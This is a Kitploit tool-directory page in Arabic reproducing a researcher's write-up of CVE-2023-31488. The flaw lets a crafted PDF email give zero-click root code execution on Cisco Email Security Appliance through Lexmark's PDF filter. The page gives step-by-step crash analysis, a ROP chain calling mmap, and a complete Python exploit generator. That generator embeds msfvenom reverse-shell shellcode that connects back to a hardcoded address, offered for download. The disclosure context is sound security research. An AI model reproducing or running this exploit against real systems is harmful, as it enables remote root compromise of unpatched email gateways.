Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cisco-CVE-2023-31488 — جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP | Kitploit
أدوات/GitHubGitHub/ly1g3/cisco-cve-2023-31488
أطر الاستغلالتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودالاختبار العشوائياختبار الاختراقتطوير الحمولاتأمان البريد الإلكترونياستغلال الملفات الثنائية
1منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP

عرض المستودع

حول

باحث أمني: ly1g3، ly1g3[at]tuta.io

بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

نظرة عامة: البريد الإلكتروني إلى RCE بدون أي نقرة بصلاحيات الجذر - تنفيذ تعليمات برمجية عن بُعد / تلف الذاكرة / سلسلة ROP

CVE: CVE-2023-31488

الجدول الزمني:

  • اكتُشفت - ly1g3
  • أُبلغ عنها - ly1g3
  • أُصلحت - Cisco و Lexmark

الشرح

أثناء تفحّي ثغرات Cisco Email Security Appliance (ESA)، اكتشفت ثغرة في Lexmark Perceptive Filters، التي يستخدمها ESA لتنقية بيانات مرفقات البريد الإلكتروني، مما يؤدي إلى RCE عبر البريد الإلكتروني. يحدث الانهيار عند تحليل مرفق PDF مُعدَّل. من خلال تغيير معرّف كائن PDF مكوّن من رقمين، على سبيل المثال:

مثال:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

تغيير جزء من المعرّف من 13 إلى قيمة أخرى (مثل مسافة) يؤدي إلى:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

يؤدي إرسال ملف PDF المُعدَّل هذا في بريد إلكتروني إلى Cisco ESA إلى انهيار بخطأ تجزئة في libISYSpdf6.so. يحدث الانهيار بسبب احتواء r14 على بيانات ASCII.

2 3

الفحص الدقيق يُظهر أن هذه البيانات تأتي من محتوى مرفق PDF الذي نتحكم فيه. قيمة r14 هي Rect. 4

اختبار عند تغيير Rect إلى AAAA.

5

بما أن قيمة r14 تُحمَّل من بيانات في ملف PDF، يمكننا تعديلها لتشير إلى عنوان ذاكرة صالح. بعد هذا التعديل، يحدث انهيار آخر بسبب بيانات غير صالحة في RAX. هذه البيانات هي أيضًا ASCII من ملف PDF.

6

نعدّل ملف PDF بحيث يشير rax أيضًا إلى عنوان فعلي ونكمل. 7

يحدث انهيار جديد؛ الآن يحتوي rsi على بيانات ASCII من ملف PDF. 8

نعدّل ملف PDF مرة أخرى لتحميل عنوان ذاكرة حقيقي.

9

أخيرًا، نصل إلى جزء مثير جدًا من الكود، حيث نتحكم في rdi، والذي يُستخدم لتحميل قيمة في rax. التعليمات الأخيرة في هذا التسلسل هي call rax. نحن الآن نحقق تقدمًا جيدًا نحو الحصول على قدرات تنفيذ تعليمات برمجية.

10

مرة أخرى نفتح المحرّر السداسي العشري ونعدّل القيمة المُحمَّلة في rdi. 11

الآن لدينا وسيلة لتنفيذ تعليمات برمجية محدود ويمكننا القفز إلى عنوان واحد. نظرًا لعدم وجود ASLR، فإن العثور على عناوين الذاكرة سهل. نتحكم أيضًا في rdi، وبالتالي نستخدم أداة ROP الأولية libISYSshared.so: push rdi; pop rsp; xor eax, لنقل rdi إلى rsp للتحكم في المكدس. نوجّه المكدس إلى منطقة نتحكم فيها في منطقة ذاكرة PDF مع مكدس مخصص مُجهّز بمزيد من أدوات ROP. 12

يتم وضع شيل كود عكسي (reverse shell) لنظام FreeBSD مولّد بواسطة msfvenom في منطقة ذاكرة PDF. ولكن نظرًا لأن الذاكرة غير قابلة للتنفيذ، يجب علينا أولاً جعلها قابلة للتنفيذ.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

نظرًا لأننا نتحكم في المكدس في هذه المرحلة، يمكن القيام بذلك عبر سلسلة ROP التالية لاستدعاء mmap لتعيين منطقة ذاكرة الشيل كود على أنها RWX.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

بعد استدعاء mmap، سيقوم call rsp; بتنفيذ NOP-sled الخاص بالشيل كود الخاص بنا نظرًا لأن عنوان الشيل كود يلي ذلك في المكدس المخصص. الشيل كود هو شيل عكسي مولّد بواسطة msfvenom.

الشيء المثير للاهتمام هو أن هذا الكود يُنفَّذ قبل أي فحص ثابت لمكافحة الفيروسات، لذا فإن شيل metasploit العكسي القياسي سيعمل بشكل جيد.

يمكننا استخدام إثبات المفهوم (POC) أدناه لإنشاء PDF يعمل. بعد ذلك، نرسله فقط في بريد إلكتروني إلى ESA للحصول على RCE. راجع ثغراتي الأخرى لتصعيد الامتيازات.

وبهذا نحصل على شل عن بُعد على ESA:

13

كان هذا مشروعًا ممتعًا علّمني الكثير عن ثغرات تلف الذاكرة. كما يُظهر مدى جودة الحماية التي توفرها وسائل الحماية "الحديثة" للذاكرة مثل ASLR، ولكن أيضًا أنه لا يزال بإمكانك العثور على أنظمة بدون ASLR في الخارج.

Cisco AsyncOS 14.2.0

هجوم تجاوز (overflow) على ESA (Cisco Secure Email). تنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر.

تجاوز المتغير/المخزن المؤقت في Lexmark Perceptive Filters

من خلال إرسال ملف PDF مصمم خصيصًا، يؤدي التجاوز إلى حصول المهاجم على تنفيذ تعليمات برمجية عن بُعد عشوائي على ESA والمنتجات الأخرى التي تستخدم Lexmark Perceptive Filters.

التفاصيل التقنية

يسمح هذا الهجوم بالتجاوز للمهاجم بالسيطرة على تعليمات call rax، مما يجعل من السهل الانتقال إلى تنفيذ تعليمات برمجية عشوائية نظرًا لعدم استخدام ASLR على ESA. سيتم تنفيذ الكود بصلاحيات الجذر.

تأتي المشكلة من تحليل PDF في مكتبة libISYSpdf6.so من Lexmark وتنتج عن استدعاءات الدالة IGR_Open_File_Ex. يمكن تتبع هذه الدالة إلى دوال safeprint و image_analysis في AMP (الحماية المتقدمة من البرامج الضارة) ولكن من المحتمل أن يتم تشغيل الاستغلال عبر مسارات أخرى أيضًا.

خطوات إعادة الإنتاج:

  1. إنشاء ملف PDF يحتوي على Subtype/CIDFontType2/FontDescriptor. يمكن العثور على نموذج هنا https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. على سبيل المثال:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. استبدال جزء من المعرّف 13 بقيمة أخرى (مثل مسافة) 1 مما يؤدي إلى:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. إرسال ملف PDF إلى ESA مع تفعيل safeprint أو AMP image_analysis

  2. يؤدي هذا إلى خطأ تجزئة (Segmentation Fault) في libISYSpdf6.so

root@kitploit:~
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. يمكن تصعيد هذا إلى RCE نظرًا لأن البيانات المُحمَّلة في rax ستصل في النهاية إلى:
root@kitploit:~
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
  1. يمكن بعد ذلك إنشاء سلسلة ROP للشل العكسي، وبما أن ASLR غير مستخدم، فهذا أمر سهل.

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

تنزيل الأداة